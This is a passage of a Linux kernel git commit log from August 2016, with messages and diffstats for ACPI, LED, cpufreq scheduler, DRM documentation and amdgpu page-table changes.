is 133MHz. Signed-off-by: Kamlakant Patel Signed-off-by: Rafael J. Wysocki drivers/acpi/acpi_apd.c | 6 ++++++ 1 file changed, 6 insertions(+) commit df45db6177f8dde380d44149cca46ad800a00575 Author: Lv Zheng Date: Wed Aug 3 09:07:58 2016 +0800 ACPI / EC: Add PM operations for suspend/resume noirq stage It is reported that on some platforms, resume speed is not fast. The cause is: in noirq stage, EC driver is working in polling mode, and each state machine advancement requires a context switch. The context switch is not necessary to the EC driver's polling mode. This patch implements PM hooks to automatically switch the driver to/from the busy polling mode to eliminate the overhead caused by the context switch. This finally contributes to the tuning result: acpi_pm_finish() execution time is improved from 192ms to 6ms. Signed-off-by: Lv Zheng Reported-and-tested-by: Todd E Brandt [ rjw: Subject ] Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 53 +++++++++++++++++++++++++++++++++++++++++++++++++ drivers/acpi/internal.h | 2 ++ 2 files changed, 55 insertions(+) commit 18864cc4892d207bf8bb81898f5dc7fe9e66d6f0 Author: Lv Zheng Date: Thu Aug 4 16:43:45 2016 +0800 ACPI / sysfs: Use new GPE masking mechanism in GPE interface Now GPE can be masked via the new acpi_mask_gpe() API and this patch modifies /sys/firmware/acpi/interrupts/gpexx to use this new facility. Writes "mask/unmask" to this file now invokes acpi_mask_gpe(). Reads from this file now returns new "EN/STS" when the corresponding GPE hardware register's EN/STS bits are flagged, and new "masked/unmasked" attribute to indicate the status of the masking mechanism. Signed-off-by: Lv Zheng [ rjw: Subject ] Signed-off-by: Rafael J. Wysocki drivers/acpi/sleep.c | 2 +- drivers/acpi/sysfs.c | 33 +++++++++++++++++++++++++-------- 2 files changed, 26 insertions(+), 9 deletions(-) commit e4dca0febfb213d01466c400f54b01a556372120 Author: Paul Gortmaker Date: Mon Aug 15 18:42:33 2016 -0400 PNP: isapnp: make core more explicitly non-modular The Makefile currently controlling compilation of this code is: obj-y += pnp.o pnp-y := core.o compat.o ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. We don't replace module.h with init.h since the file already has that. But we do add moduleparam.h since the file does use module_param(). Signed-off-by: Paul Gortmaker Acked-by: Jaroslav Kysela Signed-off-by: Rafael J. Wysocki drivers/pnp/isapnp/core.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 7f866986e7052197396d8a663fa009209af18aee Author: Linus Walleij Date: Tue Aug 16 11:25:10 2016 +0200 leds: add PM8058 LEDs driver This adds a driver for the six PM8058 LEDs, three ordinary LEDs, two "flash" LEDs and one "keypad" LED. The "keypad" and "flash" LEDs are not really hard-wired to these usecases: for example on the APQ8060 Dragonboard, the "keypad" LED is instead used to drive an IR LED used for the proximity sensor. The "flash" LEDs are just ordinary high-current LED drivers. Cc: linux-arm-msm@vger.kernel.org Cc: Andy Gross Cc: Stephen Boyd Signed-off-by: Linus Walleij Reviewed-by: Bjorn Andersson Signed-off-by: Jacek Anaszewski drivers/leds/Kconfig | 8 ++ drivers/leds/Makefile | 1 + drivers/leds/leds-pm8058.c | 191 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 200 insertions(+) commit 9a6b1f608acd0948acbfc7ddafaf27bc00293302 Author: Linus Walleij Date: Tue Aug 16 11:25:02 2016 +0200 leds: pm8058: add device tree bindings This adds the device tree bindings for the PM8058 LEDs. Cc: devicetree@vger.kernel.org Cc: linux-arm-msm@vger.kernel.org Cc: Andy Gross Cc: Stephen Boyd Signed-off-by: Linus Walleij Acked-by: Bjorn Andersson Acked-by: Rob Herring Signed-off-by: Jacek Anaszewski .../devicetree/bindings/leds/leds-pm8058.txt | 67 ++++++++++++++++++++++ 1 file changed, 67 insertions(+) commit 12bde33dbb3eadd60343a8a71c39766073c1d752 Author: Rafael J. Wysocki Date: Wed Aug 10 03:11:17 2016 +0200 cpufreq / sched: Pass runqueue pointer to cpufreq_update_util() All of the callers of cpufreq_update_util() pass rq_clock(rq) to it as the time argument and some of them check whether or not cpu_of(rq) is equal to smp_processor_id() before calling it, so rework it to take a runqueue pointer as the argument and move the rq_clock(rq) evaluation into it. Additionally, provide a wrapper checking cpu_of(rq) against smp_processor_id() for the cpufreq_update_util() callers that need it. Signed-off-by: Rafael J. Wysocki Acked-by: Peter Zijlstra (Intel) Acked-by: Viresh Kumar kernel/sched/deadline.c | 3 +-- kernel/sched/fair.c | 9 ++------- kernel/sched/rt.c | 3 +-- kernel/sched/sched.h | 15 +++++++++++---- 4 files changed, 15 insertions(+), 15 deletions(-) commit 58919e83c85c3a3c5fb34025dc0e95ddd998c478 Author: Rafael J. Wysocki Date: Tue Aug 16 22:14:55 2016 +0200 cpufreq / sched: Pass flags to cpufreq_update_util() It is useful to know the reason why cpufreq_update_util() has just been called and that can be passed as flags to cpufreq_update_util() and to the ->func() callback in struct update_util_data. However, doing that in addition to passing the util and max arguments they already take would be clumsy, so avoid it. Instead, use the observation that the schedutil governor is part of the scheduler proper, so it can access scheduler data directly. This allows the util and max arguments of cpufreq_update_util() and the ->func() callback in struct update_util_data to be replaced with a flags one, but schedutil has to be modified to follow. Thus make the schedutil governor obtain the CFS utilization information from the scheduler and use the "RT" and "DL" flags instead of the special utilization value of ULONG_MAX to track updates from the RT and DL sched classes. Make it non-modular too to avoid having to export scheduler variables to modules at large. Next, update all of the other users of cpufreq_update_util() and the ->func() callback in struct update_util_data accordingly. Suggested-by: Peter Zijlstra Signed-off-by: Rafael J. Wysocki Acked-by: Peter Zijlstra (Intel) Acked-by: Viresh Kumar drivers/cpufreq/Kconfig | 5 +-- drivers/cpufreq/cpufreq_governor.c | 2 +- drivers/cpufreq/intel_pstate.c | 2 +- include/linux/sched.h | 12 ++++--- kernel/sched/cpufreq.c | 2 +- kernel/sched/cpufreq_schedutil.c | 67 +++++++++++++++++++++----------------- kernel/sched/deadline.c | 4 +-- kernel/sched/fair.c | 12 +++---- kernel/sched/rt.c | 4 +-- kernel/sched/sched.h | 31 ++++++------------ 10 files changed, 67 insertions(+), 74 deletions(-) commit 3b9b95363c45365d606ad4bbba16acca75fdf6d3 Author: Nathan Sullivan Date: Mon Aug 15 17:20:14 2016 -0500 leds: do not overflow sysfs buffer in led_trigger_show Per the documentation, use scnprintf instead of sprintf to ensure there is never more than PAGE_SIZE bytes of trigger names put into the buffer. Signed-off-by: Nathan Sullivan Signed-off-by: Zach Brown Signed-off-by: Jacek Anaszewski drivers/leds/led-triggers.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 50237863c4edd9c342b522d8edfedf23b20d4a21 Author: Paul Gortmaker Date: Mon Aug 15 16:54:48 2016 -0400 leds: make triggers explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/leds/trigger/Kconfig:menuconfig LEDS_TRIGGERS drivers/leds/trigger/Kconfig: bool "LED Trigger support" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. We don't replace module.h with init.h since the file doesn't need that. However it does use EXPORT_SYMBOL, so we add the export.h header. Cc: Richard Purdie Cc: linux-leds@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Jacek Anaszewski drivers/leds/led-triggers.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 565f9b073f37e5cb6f80ad0ad71ec1144f87fd9f Author: Bjorn Andersson Date: Tue Aug 16 11:50:32 2016 -0700 regulator: Remove support for optional supplies in the bulk API The patch was based on my missinterpretation of the API and only accidentally worked for me. Let's clean it out to not confuse others. This reverts commit 3ff3f518a135fa4592fe2817e9ac2cce1fa23dc2. Signed-off-by: Bjorn Andersson Signed-off-by: Mark Brown drivers/regulator/core.c | 6 ++---- drivers/regulator/devres.c | 7 ++----- include/linux/regulator/consumer.h | 3 --- 3 files changed, 4 insertions(+), 12 deletions(-) commit 5ee4c8f064719f5c62ea53f304845f75f87f2804 Author: Daniel Vetter Date: Fri Aug 12 22:48:57 2016 +0200 drm: Fix kerneldoc in drm_plane_helper.c Ville ocd'ed the parameter name, but forgot to update the docs! Fixes: df86af9133b4 ("drm/plane-helper: Add drm_plane_helper_check_state()") Cc: Sean Paul Cc: Ville Syrjälä Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-21-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_plane_helper.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b754b35b089ddfea3ff7b9b1d2e99e61d726d177 Author: Daniel Vetter Date: Fri Aug 12 22:48:56 2016 +0200 vgaarbiter: rst-ifiy and polish kerneldoc Move the documentation into Documentation/gpu, link it up and pull in the kernel doc. No actual text changes except that I did polish the kerneldoc a bit, especially for vga_client_register(). v2: Remove some rst from vga-switcheroo.rst that I don't understand, but which seems to be the reason why the new vgaarbiter.rst sometimes drops out of the sidebar index. v3: Drop one level of headings and clarify the vgaarb one a bit. v4: Fix some typos (Sean). Cc: Jonathan Corbet Cc: linux-doc@vger.kernel.org Cc: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-20-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/index.rst | 1 + Documentation/gpu/vga-switcheroo.rst | 2 - Documentation/gpu/vgaarbiter.rst | 191 ++++++++++++++++++++++++++++++++++ Documentation/vgaarbiter.txt | 192 ----------------------------------- drivers/gpu/vga/vgaarb.c | 110 +++++++++++++++++++- include/linux/vgaarb.h | 128 +++-------------------- 6 files changed, 316 insertions(+), 308 deletions(-) commit b3c6c8bfe378309f8185d591579a3cb3aa2fe2e8 Author: Daniel Vetter Date: Fri Aug 12 22:48:55 2016 +0200 drm: document drm_display_info We seem to have a bit a mess in how to describe the bus formats, with a multitude of competing ways. Might be best to consolidate it all and use MEDIA_BUS_FMT_ also for the hdmi color formats and high color modes. Also move all the display_info related functions into drm_connector.c (there's only one) to group it all together. I did decided against also moving the edid related display info functions, they seem to fit better in drm_edid.c. Instead sprinkle a few cross references around. While at that reduce the kerneldoc for static functions, there's not point in documenting internals with that much detail really. v2: Fix typo and move misplaced hunk (Sean). Cc: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-19-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_connector.c | 34 ++++++++++++++++++++++ drivers/gpu/drm/drm_crtc.c | 34 ---------------------- drivers/gpu/drm/drm_edid.c | 23 +++------------ include/drm/drm_connector.h | 63 ++++++++++++++++++++++++++++++++++++++--- include/drm/drm_crtc.h | 4 --- 5 files changed, 97 insertions(+), 61 deletions(-) commit 46444537479fa836969b441198e3144026c69541 Author: Daniel Vetter Date: Fri Aug 12 22:48:54 2016 +0200 drm: Remove display_info->min/max_(h|v)max No one looks at it, only i915/gma500 lvds even bother to fill it out. I guess a very old plan was to use this for filtering modes, but that's already done within the edid parser. v2: Move misplaced hunk to this patch. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-18-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/gma500/cdv_intel_lvds.c | 8 -------- drivers/gpu/drm/gma500/mdfld_dsi_output.c | 5 ----- drivers/gpu/drm/gma500/psb_intel_lvds.c | 9 --------- drivers/gpu/drm/i915/intel_lvds.c | 11 ----------- include/drm/drm_connector.h | 3 --- 5 files changed, 36 deletions(-) commit ae2a6da8762985fc238eea81b88c3b982f1c37bc Author: Daniel Vetter Date: Fri Aug 12 22:48:53 2016 +0200 drm: Update connector documentation - Shuffle docs from drm-kms.rst into the structure docs where it makes sense. - Put the remaining bits into a new overview section. One thing I've changed is around probing: Old docs says that you _must_ use the probe helpers, which isn't correct. Helpers are always optional. v2: Review from Sean. Cc: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-17-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 170 ++-------------------------------------- drivers/gpu/drm/drm_connector.c | 33 +++++++- include/drm/drm_connector.h | 57 +++++++++++++- 3 files changed, 94 insertions(+), 166 deletions(-) commit e15c8f4b6e5ecd370890c218688ead4e91f6b0d6 Author: Daniel Vetter Date: Fri Aug 12 22:48:52 2016 +0200 drm: Don't export dp-aux devnode functions They're only used internally within the dp helpers. Also nuke the kerneldoc (we only document the driver interface in the drm shared functions). And move the header file from the public include/ directory to the source files into drm_crtc_helper_internal.h, similar to how we already have drm_crtc_internal.h. While at it also move drm_fb_helper_modinit since that belongs in there, too. I noticed this all since I spotted kerneldoc which wasn't pulled into the rst templates. v2: Update Copyright date. Cc: Sean Paul Cc: Rafael Antognolli Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-16-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_crtc_helper_internal.h | 58 ++++++++++++++++++++++++++++ drivers/gpu/drm/drm_dp_aux_dev.c | 19 ++------- drivers/gpu/drm/drm_dp_helper.c | 3 +- drivers/gpu/drm/drm_kms_helper_common.c | 3 +- include/drm/drm_dp_aux_dev.h | 62 ------------------------------ include/drm/drm_fb_helper.h | 1 - 6 files changed, 65 insertions(+), 81 deletions(-) commit 52a9fcdac303364522467310fc83a415fedbd0ae Author: Daniel Vetter Date: Fri Aug 12 22:48:51 2016 +0200 drm/doc: Include new drm_blend.c There's not much point in kerneldoc if it's not included: - It won't show up in the pretty html pages. - The comments itself won't get parsed, which means 0day won't pick up changes, resulting in stale docs fast. Also, uapi really should be core, not helpers, so move drm_blend.c to that. That also means that the zpos normilize function loses it's helper status (and we might as well call it always). For that, EXPORT_SYMBOL. Just spotted while integrating docs and noticing that one was missing. With sphinx there's really no excuse any more to not build the docs and make sure it's all nice! $ make DOCBOOKS="" htmldocs Cc: Marek Szyprowski Cc: Benjamin Gaignard Cc: Laurent Pinchart Cc: Ville Syrjälä Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-15-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 6 ++++++ drivers/gpu/drm/Makefile | 4 ++-- drivers/gpu/drm/drm_atomic_helper.c | 2 +- drivers/gpu/drm/drm_blend.c | 8 ++++---- drivers/gpu/drm/drm_crtc_internal.h | 4 ++-- 5 files changed, 15 insertions(+), 9 deletions(-) commit 522171951761153172c75b94ae1f4bc9ab631745 Author: Daniel Vetter Date: Fri Aug 12 22:48:50 2016 +0200 drm: Extract drm_connector.[hc] Pulls in quite a lot of connector related structures (cmdline mode, force/status enums, display info), but I think that all makes perfect sense. Also had to move a few more core kms object stuff into drm_modeset.h. And as a first cleanup remove the kerneldoc for the 2 connector IOCTL - DRM core docs are aimed at drivers, no point documenting internal in excruciating detail. v2: And also pull in all the connector property code. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-14-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 9 + drivers/gpu/drm/Makefile | 2 +- drivers/gpu/drm/drm_connector.c | 1058 +++++++++++++++++++++++++++++++++ drivers/gpu/drm/drm_crtc.c | 1110 +---------------------------------- drivers/gpu/drm/drm_crtc_internal.h | 26 +- include/drm/drm_connector.h | 644 ++++++++++++++++++++ include/drm/drm_crtc.h | 601 +------------------ include/drm/drm_modes.h | 16 +- include/drm/drm_modeset.h | 36 +- 9 files changed, 1773 insertions(+), 1729 deletions(-) commit adebd6fe9f0b75e5466cd6e559cd4339b037440f Author: Daniel Vetter Date: Fri Aug 12 22:48:49 2016 +0200 drm: Export drm_property_replace_global_blob It's really part of the core blob interface, and the drm_connector.c extraction needs it too. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-13-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_crtc.c | 13 +++++++------ include/drm/drm_crtc.h | 6 ++++++ 2 files changed, 13 insertions(+), 6 deletions(-) commit 1d503617884ed43af1c03685e73ce23f155d3fa4 Author: Martin Brandenburg Date: Tue Aug 16 11:38:14 2016 -0400 orangefs: rename most remaining global variables Only op_timeout_secs, slot_timeout_secs, and hash_table_size are left because they are exposed as module parameters. All other global variables have the orangefs_ prefix. Signed-off-by: Martin Brandenburg fs/orangefs/dcache.c | 2 +- fs/orangefs/devorangefs-req.c | 20 ++++++++++---------- fs/orangefs/namei.c | 8 ++++---- fs/orangefs/orangefs-kernel.h | 10 +++++----- fs/orangefs/orangefs-mod.c | 28 ++++++++++++++-------------- fs/orangefs/orangefs-sysfs.c | 8 ++++---- fs/orangefs/orangefs-utils.c | 3 ++- fs/orangefs/super.c | 4 ++-- fs/orangefs/waitqueue.c | 10 +++++----- 9 files changed, 47 insertions(+), 46 deletions(-) commit cb34d7f2dcf0d3a326ba76fe3a8e72011215dffc Author: Lothar Waßmann Date: Tue Aug 16 15:34:37 2016 +0200 drm: update kerneldoc for changes introduced by commits "16fadc2568e9" and "9671e228fb78" Describe the new parameter 'bus_flags' to of_get_drm_display_mode() in the kerneldoc comments and add kerneldoc comments to the new function drm_bus_flags_from_videomode(). Signed-off-by: Lothar Waßmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471354477-25877-1-git-send-email-LW@KARO-electronics.de drivers/gpu/drm/drm_modes.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 750fb8c439bcaa2752d717503119f66032a22b76 Author: Daniel Vetter Date: Fri Aug 12 22:48:48 2016 +0200 drm/doc: Update drm_framebuffer docs - Move the intro section into a DOC comment, and update it slightly. - kernel-doc for struct drm_framebuffer! v2: - Copypaste fail (Sean). - Explain the linear @offsets clearer (Ville). Cc: Sean Paul Cc: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-12-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 26 +--------- drivers/gpu/drm/drm_framebuffer.c | 35 +++++++++++++ include/drm/drm_framebuffer.h | 106 +++++++++++++++++++++++++++++++++----- 3 files changed, 130 insertions(+), 37 deletions(-) commit 032ca4a76fc3cc81801903aa2532f1e6bae94ca2 Author: Peter Meerwald-Stadler Date: Tue Aug 16 16:56:18 2016 +0200 ASoC: atmel-pdmic: Fix typos in comments and error messages Signed-off-by: Peter Meerwald-Stadler Cc: Songjun Wu Signed-off-by: Mark Brown sound/soc/atmel/atmel-pdmic.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit c80460005743c6f253706a9a5618de81254c81bf Author: Peter Meerwald-Stadler Date: Tue Aug 16 16:56:17 2016 +0200 ASoC: dapm: Fix typos in comment Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Mark Brown sound/soc/soc-dapm.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) commit 7520a277d97be6e8a8ec038bb5ed01f40d4f9aeb Author: Daniel Vetter Date: Mon Aug 15 16:07:02 2016 +0200 drm: Extract drm_framebuffer.[hc] Also start with drm_modeset.h with the core bits, since we need to untangle this mess somehow. That allows us to move the drm_modes.h include to the right spot, except for the temporary connector status enum. That will get fixed as soon as drm_connector.h exists. v2: Rebase. v3: Move drm_crtc_force_disable_all back again, that wasn't meant to be moved (Sean). v4: Rebase. Cc: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Documentation/gpu/drm-kms.rst | 9 + drivers/gpu/drm/Makefile | 3 +- drivers/gpu/drm/drm_crtc.c | 801 +----------------------------------- drivers/gpu/drm/drm_crtc_internal.h | 40 +- drivers/gpu/drm/drm_framebuffer.c | 796 +++++++++++++++++++++++++++++++++++ include/drm/drm_crtc.h | 162 +------- include/drm/drm_framebuffer.h | 170 ++++++++ include/drm/drm_modes.h | 2 + include/drm/drm_modeset.h | 50 +++ 9 files changed, 1075 insertions(+), 958 deletions(-) commit 89a8f30900754eb27f8f534f35be49b8202c76cd Author: Tom St Denis Date: Fri Aug 12 15:14:31 2016 -0400 drm/amd/amdgpu: Add more config data for debugfs Adds rev_id as well as cg/pg flags to help debug runtime. Signed-off-by: Tom St Denis Acked-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 6681c5eba1d2dbc559f99d1de4e67ccd3abd7df8 Author: Christian König Date: Fri Aug 12 16:50:12 2016 +0200 drm/amdgpu: fix coding style in amdgpu_object.c Just a few 80 chars problems. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 86 +++++++++++++++++------------- 1 file changed, 49 insertions(+), 37 deletions(-) commit afef8b8f99b6489ae1e9fe535d74bf2ce9fa17bd Author: Christian König Date: Fri Aug 12 13:29:18 2016 +0200 drm/amdgpu: add function pointer to the pte_update_params Remember what function to call while planning the commands instead of figuring it our later on. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 76 ++++++++++++++++++++++++---------- 1 file changed, 54 insertions(+), 22 deletions(-) commit 96105e5375892f63cc56fa707a1db0d74abc764d Author: Christian König Date: Fri Aug 12 12:59:59 2016 +0200 drm/amdgpu: stop splitting PTE commands into smaller ones It doesn't make much sense to create bigger commands first which we then need to split into smaller one again. Just make sure the commands we create aren't to big in the first place. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 3 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 6 ++- drivers/gpu/drm/amd/amdgpu/cik_sdma.c | 71 +++++++++++----------------------- drivers/gpu/drm/amd/amdgpu/sdma_v2_4.c | 71 +++++++++++----------------------- drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 71 +++++++++++----------------------- 5 files changed, 73 insertions(+), 149 deletions(-) commit dc157c6daa317c75058def8f9753909e5224cbec Author: Christian König Date: Fri Aug 12 11:40:11 2016 +0200 drm/amdgpu: remove AMDGPU_VM_NO_FLUSH define Not used any more. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 3 --- 1 file changed, 3 deletions(-) commit de9ea7bd366009d379043d49b5b2660c5b462483 Author: Christian König Date: Fri Aug 12 11:33:30 2016 +0200 drm/amdgpu: cleanup the write_pte implementations We don't need the gart mapping handling here any more. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 10 ++++---- drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 20 ++++++---------- drivers/gpu/drm/amd/amdgpu/cik_sdma.c | 42 ++++++++++++---------------------- drivers/gpu/drm/amd/amdgpu/sdma_v2_4.c | 40 ++++++++++++-------------------- drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 40 ++++++++++++-------------------- 5 files changed, 54 insertions(+), 98 deletions(-) commit b7fc2cbd5e9fd4fbac1c3a9fda6eff2b28b7bc4d Author: Christian König Date: Thu Aug 11 16:44:15 2016 +0200 drm/amdgpu: remove pages_addr handling from the VM code Not needed any more. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit b0456f93063ec8629cfeee6d03758f92793d96cb Author: Christian König Date: Thu Aug 11 14:06:54 2016 +0200 drm/amdgpu: write PTEs directly into the IB. Write the PTEs at the end of the IB instead of directly into the SDMA commands. This can save quite some CPU cycles building the entries. This doesn't change the DW estimation because PTEs where embedded into the IB before as well. It just moves them to the end of the IB. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 26 +++++++++++++++++++++----- 1 file changed, 21 insertions(+), 5 deletions(-) commit 478feaf6cc420e66c071c0a743b334abfe8f18c9 Author: Chunming Zhou Date: Thu Aug 4 15:47:50 2016 +0800 drm/amdgpu: add shadow flag V2 Indicate if need to sync between bo and shadow, where sync to where. V2: Rename to backup_shadow Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 8 ++++++++ 1 file changed, 8 insertions(+) commit 1baa439fb2f4e586bf387cbbc515468ebb16e587 Author: Chunming Zhou Date: Thu Aug 4 13:59:32 2016 +0800 drm/amdgpu: allocate shadow for pd/pt bo V2 The pd/pt shadow bo will be used to backup page table, when gpu reset happens, we can restore the page table by them. V2: Free shadow bo. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit 14fd833efa3f13619623501de5e2221dfdab7f7f Author: Chunming Zhou Date: Thu Aug 4 13:05:46 2016 +0800 drm/amdgpu: validate shadow as well when validating bo Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 76 ++++++++++++++++++++-------------- 1 file changed, 46 insertions(+), 30 deletions(-) commit e7893c4bd34b9d2f942d77666656efaa084a3f87 Author: Chunming Zhou Date: Tue Jul 26 14:13:21 2016 +0800 drm/amdgpu: add shadow bo support V2 shadow bo is the shadow of a bo, which is always in GTT, which can be used to backup the original bo. V2: reference shadow parent, shadow bo will be freed by who allocted him. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 48 ++++++++++++++++++++++++++++-- include/uapi/drm/amdgpu_drm.h | 2 ++ 3 files changed, 48 insertions(+), 3 deletions(-) commit f4a7f127d9151683ca806f1c73cfbc72f268d62e Author: Tom St Denis Date: Thu Aug 11 10:08:22 2016 -0400 drm/amd/amdgpu: UVD v6 register cleanup Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 27 +++++++++++---------------- 1 file changed, 11 insertions(+), 16 deletions(-) commit 21d3cbbe01c4c466dcba71071f16886526b6741b Author: Tom St Denis Date: Thu Aug 11 09:59:12 2016 -0400 drm/amd/amdgpu: VCE v2 register cleanup Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v2_0.c | 39 +++++++++++++---------------------- 1 file changed, 14 insertions(+), 25 deletions(-) commit 9aeb774c1e458313d9f013ca482be03a993c601e Author: Tom St Denis Date: Thu Aug 11 09:55:51 2016 -0400 drm/amd/amdgpu: add mutex in check_soft for VCE v3 Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 2 ++ 1 file changed, 2 insertions(+) commit f3f0ea9536e231fdc523fff25d11628bba0e5d20 Author: Tom St Denis Date: Thu Aug 11 09:44:53 2016 -0400 drm/amd/amdgpu: Cleanup register access in VCE v3 Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 145 ++++++++++------------------------ 1 file changed, 43 insertions(+), 102 deletions(-) commit 5d070be68380baf61279d650b52563243cfaaa00 Author: Daniel Vetter Date: Fri Aug 12 22:48:46 2016 +0200 drm/doc: Include drm_atomic.h Accidentally the wrong file. Oops. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-10-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6ab10b76ff6252bd9be0849c40f5865e39a29961 Author: Daniel Vetter Date: Fri Aug 12 22:48:45 2016 +0200 drm/kms: Nuke dirty_info property It was added way back together with the dirty_fb ioctl, but neither generic xfree86-modesetting nor the vmware driver use it. Everyone is supposed to just unconditionally call the dirtyfb when they do frontbuffer rendering. And since unused uabi is bad uabi (there's reasons we require open source userspace for everything) let's nuke this. For reference see commit 884840aa3ce3214259e69557be5b4ce0d781ffa4 Author: Jakob Bornecrantz Date: Thu Dec 3 23:25:47 2009 +0000 drm: Add dirty ioctl and property Cc: Jakob Bornecrantz Cc: Dave Airlie Cc: Sinclair Yeh Cc: Thomas Hellstrom Acked-by: Thomas Hellstrom Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471034937-651-9-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_crtc.c | 31 ------------------------------- drivers/gpu/drm/udl/udl_connector.c | 3 --- drivers/gpu/drm/udl/udl_modeset.c | 2 